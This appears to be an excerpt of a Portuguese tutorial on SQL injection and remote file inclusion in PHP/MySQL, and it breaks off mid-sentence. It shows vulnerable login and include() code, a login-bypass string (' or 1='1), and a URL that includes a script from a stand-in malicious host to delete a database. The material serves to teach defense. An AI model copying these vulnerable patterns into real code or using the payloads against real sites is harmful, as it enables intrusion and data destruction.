Veja Como Funciona O SQL Injection

306 palavras 2 páginas
Você sabe o que é SQL Injection?

Falaremos sobre um assunto muito importante, que envolve a segurança dos nossos projetos em PHP e MySQL, o temido SQL Injection. Se você é programador com certeza já ouviu à respeito, mas se nunca entendeu ao certo vou explicar do que se trata.
O SQL Injection é um ataque que visa enviar comandos nocivos à base de dados através de campos de formulários ou através de URLs. Um ataque bem-sucedido pode, por exemplo, apagar uma tabela do banco, deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas.
Veja abaixo um exemplo de vulnerabilidade em um sistema de login:
$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);
Neste exemplo as variáveis $usuario e $senha recebem conteúdo vindo diretamente de um formulário através do método POST. Imagine que o conteúdo da variável $senha seja ” ‘or 1=’1 “. Se nenhuma validação for realizada, o usuário mal-intencionado terá efetuado login no sistema sem ao menos ter especificado um cadastro válido, devido a uma falha gerada na instrução SQL.
Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via include() para organizar sua páginas internas, baseando-se numa variável do método $_GET.
// Verifica se a variável $_GET['pagina'] existe if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
E na URL do site você poderia ter: http://www.seusite.com.br/?pagina=contato.php Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável: http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php “O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… e seu banco poderia ser completamente

Relacionados

  • informatica
    1807 palavras | 8 páginas
  • Bruno
    1742 palavras | 7 páginas
  • Sql injection
    4447 palavras | 18 páginas
  • Sql injection
    454 palavras | 2 páginas
  • Pentest
    1320 palavras | 6 páginas
  • ATPS Desenvolvimento de Software Seguro 1
    3985 palavras | 16 páginas
  • Segurança Aplicativos WEB
    15771 palavras | 64 páginas
  • Desenvolvimento de software seguro
    4247 palavras | 17 páginas
  • Segurança em servidores e aplicações Web
    29744 palavras | 119 páginas
  • OWASP Top 10 - 2013
    9795 palavras | 40 páginas